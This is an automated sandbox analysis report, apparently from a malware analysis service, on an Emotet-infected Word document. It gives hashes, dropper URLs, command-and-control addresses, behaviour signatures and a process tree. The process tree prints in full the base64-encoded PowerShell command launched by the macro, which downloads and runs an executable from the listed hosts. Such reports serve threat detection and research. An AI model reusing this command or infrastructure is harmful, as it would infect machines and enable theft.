Analysis

  • max time kernel
    30s
  • max time network
    20s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    31-07-2020 23:59

General

  • Target

    bb8c48b9c6a222384a580b5858d80961c33a1e4e5caa38e5674affb524dd1f3f.doc

  • Size

    173KB

  • MD5

    9639a885ff936b9e07fe9fc28edb448f

  • SHA1

    451a6f4a83abdfa0ded84f243844bf9be4af91c4

  • SHA256

    bb8c48b9c6a222384a580b5858d80961c33a1e4e5caa38e5674affb524dd1f3f

  • SHA512

    b13619525d1771fbace2c0d85ccd2d7d7af21003d4bd75bb84a7857abd518bc700597f73f7cb458b7e13a55985ce892078635dd73fa0ea3e23d161825742c292

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://prolicitar.com.br/privilege/VwWMjYDU/

exe.dropper

http://proreclame.nl/assets/Riw/

exe.dropper

http://www.meltonian.net/Blog/Zaviixl730/

exe.dropper

http://www.mollymoody.com/iRVKRMq/

exe.dropper

https://mwrouse.com/cs2300/qVJaPCy/

Extracted

Family

emotet

C2

187.64.128.197:80

198.57.203.63:8080

163.172.107.70:8080

212.112.113.235:80

157.7.164.178:8081

181.167.35.84:80

212.156.133.218:80

185.142.236.163:443

181.143.101.19:8080

75.127.14.170:8080

115.165.3.213:80

190.55.233.156:80

139.59.12.63:8080

144.139.91.187:80

37.70.131.107:80

181.113.229.139:443

41.185.29.128:8080

177.37.81.212:443

5.79.70.250:8080

78.188.170.128:80

rsa_pubkey.plain

Signatures

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Blacklisted process makes network request 2 IoCs
  • Executes dropped EXE 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\bb8c48b9c6a222384a580b5858d80961c33a1e4e5caa38e5674affb524dd1f3f.doc"
    1⤵
    • Suspicious use of SetWindowsHookEx
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    PID:1132
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABWAE0AQgBBAE8AaABvAHcAPQAnAEEASgBEAFEAUwBrAHMAdQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAGUAYwBVAGAAUgBJAGAAVAB5AHAAYABSAE8AVABPAGMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABIAFAATABCAEkAYQB6AGcAIAA9ACAAJwA3ADUAMQAnADsAJABNAEwASgBUAFoAeQB4AGgAPQAnAFcATABMAFkATQBkAGUAZgAnADsAJABXAEgATgBDAFcAYwBqAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAEgAUABMAEIASQBhAHoAZwArACcALgBlAHgAZQAnADsAJABWAFQARgBOAEEAdwBqAGkAPQAnAFEAVwBBAEoATgBoAHAAdAAnADsAJABIAFcAVQBTAEMAcgBxAGEAPQAuACgAJwBuAGUAdwAnACsAJwAtAG8AYgBqAGUAJwArACcAYwB0ACcAKQAgAE4ARQB0AC4AdwBlAGIAQwBsAGkARQBuAHQAOwAkAFAASQBMAEQAUQBzAGYAeAA9ACcAaAB0AHQAcAA6AC8ALwBwAHIAbwBsAGkAYwBpAHQAYQByAC4AYwBvAG0ALgBiAHIALwBwAHIAaQB2AGkAbABlAGcAZQAvAFYAdwBXAE0AagBZAEQAVQAvACoAaAB0AHQAcAA6AC8ALwBwAHIAbwByAGUAYwBsAGEAbQBlAC4AbgBsAC8AYQBzAHMAZQB0AHMALwBSAGkAdwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AZQBsAHQAbwBuAGkAYQBuAC4AbgBlAHQALwBCAGwAbwBnAC8AWgBhAHYAaQBpAHgAbAA3ADMAMAAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAG0AbwBsAGwAeQBtAG8AbwBkAHkALgBjAG8AbQAvAGkAUgBWAEsAUgBNAHEALwAqAGgAdAB0AHAAcwA6AC8ALwBtAHcAcgBvAHUAcwBlAC4AYwBvAG0ALwBjAHMAMgAzADAAMAAvAHEAVgBKAGEAUABDAHkALwAnAC4AIgBzAGAAUABMAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAE0AUwBCAEIAUQBhAHoAegA9ACcATwBMAFEATgBPAGYAdgB5ACcAOwBmAG8AcgBlAGEAYwBoACgAJABZAFQATQBYAFQAZQB6AHMAIABpAG4AIAAkAFAASQBMAEQAUQBzAGYAeAApAHsAdAByAHkAewAkAEgAVwBVAFMAQwByAHEAYQAuACIARABgAG8AVwBuAGwATwBBAGAARABmAGkAYABMAEUAIgAoACQAWQBUAE0AWABUAGUAegBzACwAIAAkAFcASABOAEMAVwBjAGoAcgApADsAJABFAFkATABOAEsAcgBpAGgAPQAnAE8ATgBYAEUASgB0AHAAcgAnADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFcASABOAEMAVwBjAGoAcgApAC4AIgBMAGUAYABOAEcAdABoACIAIAAtAGcAZQAgADIAOQA2ADAANAApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAQwBSAEUAYABBAHQAZQAiACgAJABXAEgATgBDAFcAYwBqAHIAKQA7ACQAVQBEAEYATwBBAGIAdQB3AD0AJwBEAEgAVgBPAFAAZwBrAHUAJwA7AGIAcgBlAGEAawA7ACQAWQBJAEsAUwBKAG8AawBtAD0AJwBKAEMAWABYAFcAdAB6AGUAJwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQBLAEsATABQAHUAagBkAD0AJwBUAFoASQBYAFkAeQBsAHMAJwA=
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Drops file in System32 directory
    • Suspicious use of AdjustPrivilegeToken
    • Blacklisted process makes network request
    • Process spawned unexpected child process
    PID:1644
  • C:\Users\Admin\751.exe
    C:\Users\Admin\751.exe
    1⤵
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Executes dropped EXE
    • Suspicious use of WriteProcessMemory
    PID:1860
    • C:\Windows\SysWOW64\shutdown\kbd103.exe
      "C:\Windows\SysWOW64\shutdown\kbd103.exe"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      • Executes dropped EXE
      PID:1884

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/1132-2-0x00000000088E0000-0x00000000088E4000-memory.dmp

    Filesize

    16KB

  • memory/1132-4-0x0000000006C50000-0x0000000006E50000-memory.dmp

    Filesize

    2.0MB

  • memory/1132-5-0x000000000AD40000-0x000000000AD44000-memory.dmp

    Filesize

    16KB

  • memory/1132-6-0x000000000BDC0000-0x000000000BDC4000-memory.dmp

    Filesize

    16KB

  • memory/1860-9-0x00000000002C0000-0x00000000002CC000-memory.dmp

    Filesize

    48KB

  • memory/1884-13-0x00000000004B0000-0x00000000004BC000-memory.dmp

    Filesize

    48KB